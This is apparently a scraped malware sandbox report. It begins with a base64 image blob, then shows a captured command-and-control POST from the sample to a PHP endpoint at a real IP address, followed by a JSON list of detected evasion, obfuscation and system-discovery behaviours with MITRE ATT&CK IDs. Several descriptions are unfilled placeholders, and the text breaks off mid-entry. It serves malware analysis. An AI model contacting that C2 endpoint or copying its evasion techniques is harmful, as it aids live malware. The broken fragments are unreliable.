1/NWf4nVOcZ295K3a39fr5mRe2ttbBXt7+GbBAKqWycnHdj65qGtDUroT6exWQOpZMEHI++tZ9enlVV1ISv3ObFRSasFFFFeqcpXvroWdlJOcEqPlB7ntXAoLvVdRWJFaa6nfaF7k11nickaWpHTzRn6YNZnhRS2oag0P8Ax9f2fN9nx134HT327q8rGRdavGley0/E9HKc2hgq1SEo7x09V09H+Y4+HtKt38m+8RwxXA4dYbZpVQ+hYEfpmrkngUoEddUSSORd0ckcWVYeoO6uT3V6D4WeU+EB52dv2tvIz/d2jdj2z+ua34gyangsC8RQm0423tqbZdxJjcRiPZzas+yWhLbW01rbJFNceey8eYV2kj35NS1JIcio6wyXEzxODjOpvqvuOTHwUMRK3XUKKKK9U4wooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKAGNVeSrDVXkoAqyVVerUlVXqSkV2qOpGqF3CJuOOw5YKPxJ4A9zSGOoqe8isLeC3e11qyvpXG2eKKVSUYngoM5ZegPfjPQ4EFJO42rCEhVLMQAOSTQCdzKyMjLjKuMEZAYce4IP41reFrC2v/EK/ao/NWKWHajMdvKXDHK5weY0PPpUmu6df6l4t1h9O+zy4uYhIpfDIvlIpdvRAVOSMnjpWM60YOzOihhZ1vg/yMamF33MsUE0zIpdhGmQqhWbJPQcIxAzk7TgGiKQSKSCjYJBKNlT7g9weo+tH9pvpf2g/YpLpbmMk+VcLEyCKC4ZvvIwIKMw7EdqvnvHmiZSpuE3CejRCb+0V2R7mOORGKOkjbGVgcEEHkEEYwamiljmTfFIki9MowIqE+M9WWSdormaFZZ5ZhEkxKpvdm2g8ZxnHQVcuZ5LnUZ55WLSSx2zuxPJJtoSTTUm9yWkQhpGm8uK2nmO5V/cxlzlg5A2j5jxG54BxjnFPYPHJ5csM8MmM7JoWjbH0Y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 ------FCAFIJJJKEGIECAKKEHI--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:35:14 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>....... "POST /7043a0c6a68d9c65.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBF Host: 185.172.128.151 Content-Length: 270 Connection: Keep-Alive Cache-Control: no-cache" with payload::==> "------JJDBGDHIIDAEBFHJJDBF Content-Disposition: form-data; name="token" 60ec08cc424ad27c6e0e8f729f8567ecc4410ae862f8d1f76dc96c597e1ff03bd008a4de ------JJDBGDHIIDAEBFHJJDBF Content-Disposition: form-data; name="message" jbdtaijovg ------JJDBGDHIIDAEBFHJJDBF--" HTTP/1.1 200 OK Date: Mon 29 Apr 2024 10:35:15 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5 max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 with response body ==>.......59:T968,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00001100.00000000.115418.050D0000.00000004.mdmp, 00000000-00001100.00000001.117335.050D0000.00000004.mdmp, 00000000-00001100.00000002.119256.050D0000.00000004.mdmp\")\n Found reference to API \"CallWindowProcW\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")\n Found string \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\" (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"(13RC2t\" (Indicator: \"RC2\"; Source: \"00000000-00006116.00000000.116524.0637B000.00000004.mdmp, 00000000-00009160.00000000.117798.0629F000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006116.00000000.116524.00EF0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006116.00000000.116524.06614000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006116.00000000.116524.067A7000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00006116.00000000.116524.06F48000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00009160.00000000.117798.03A20000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00009160.00000000.117798.06534000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00009160.00000000.117798.066C5000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00009160.00000000.117798.069F0000.00000004.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00009160.00000000.117798.06E65000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNEL32.dll at 53350-281-0040926A\n SetUnhandledExceptionFilter@KERNEL32.dll at 53350-1955-0040397F","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"Assembly shows XOR instruction xor eax\n ebp in Stream UID: 53350-76-0040612B\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 53350-76-0040612B\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 53350-143-00406C61\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 53350-143-00406C61\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 53350-281-0040926A\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 00000000-00004836-60811-104-0040B650\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 00000000-00004836-60811-7-0040926A\n Assembly shows XOR instruction xor eax\n ebp in Stream UID: 00000000-00004836-60811-23-00401FA4\n Assembly shows XOR instruction xor ecx\n ebp in Stream UID: 00000000-00004836-60811-23-00401FA4","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to decode base64 data","description":"Found reference to API \"PlaiDecodeBase64Char\" (Indicator: \"decodebase64\"; Source: \"00000000-00006116.00000000.116524.03660000.00000004.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-106","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.03570000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"HTTP requests contain Base64 strings","description":"$27","origin":"Network Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-60","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.272373097974011","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: HTTP requests contain Base64 strings","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains ability to decode base64 data\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: HTTP requests contain Base64 strings\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Contains ability to create a new HTTP request (API string)\n Matched sigs: Contains ability to communicate with network (API string)\n Matched sigs: Contains ability to create a HTTP or FTP session (API string)\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps\n Matched sigs: Spawned process connects to a network\n Matched sigs: Detected Suricata Alert - CnC Activity\n Matched sigs: Contacts server\n Matched sigs: Contacts domains","origin":"Indicator Combinations","mitre_attack_id":"T1573.001","relevance":1,"id":"summary-31","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00004836)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$28","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query system locale (API string)","description":"$29","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume/memory size (API string)","description":"Found reference to API \"GetDiskFreeSpaceExW\" (Indicator: \"GetDiskFreeSpace\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")\n Found reference to API \"GlobalMemoryStatusEx\" (Indicator: \"GlobalMemoryStatus\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"\"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\" (Path: \"HKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\WINDOWS\\SAFER\\CODEIDENTIFIERS\"; Key: \"TRANSPARENTENABLED\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":1,"id":"registry-78","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"$2a","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-249","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve information about the current system (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetSystemTimes\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-247","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-248","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve open application windows (API string)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-141","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryW\" (Indicator: \"GetWindowsDirectory\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-312","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve system language (API string)","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1614.001","relevance":1,"id":"string-143","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-171","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoA\" (Indicator: \"GetStartupInfo\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")","origin":"File/Memory","mitre_attack_id":"T1543","relevance":1,"id":"string-167","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve volume information (API string)","description":"Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; File: \"850a2a0eee8fe41dc2b84bcf4f692aa2.exe\")\n Found reference to API \"GetVolumeInformationA\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00001100.00000001.117335.0040C000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp\")\n Found reference to API \"GetVolumeInformationW\" (Indicator: \"GetVolumeInformation\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00006116.00000000.116524.06614000.00000004.mdmp, 00000000-00006116.00000000.116524.72407000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.06534000.00000004.mdmp, 00000000-00009160.00000000.117798.70FC7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-162","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to verify if file exist on disk (API string)","description":"Found reference to API \"PathFileExistsW\" (Indicator: \"PathFileExist\"; Source: \"00000000-00006116.00000000.116524.010DC000.00000002.mdmp, 00000000-00009160.00000000.117798.010DC000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-140","sources":[{"report_type":"sandbox","report_id":"662f77ac3df623e7050b6d06"},{"report_type":"sandbox","report_id":"662f7767b1aafd0092088e90"}]},{"level":"informative","category":"External 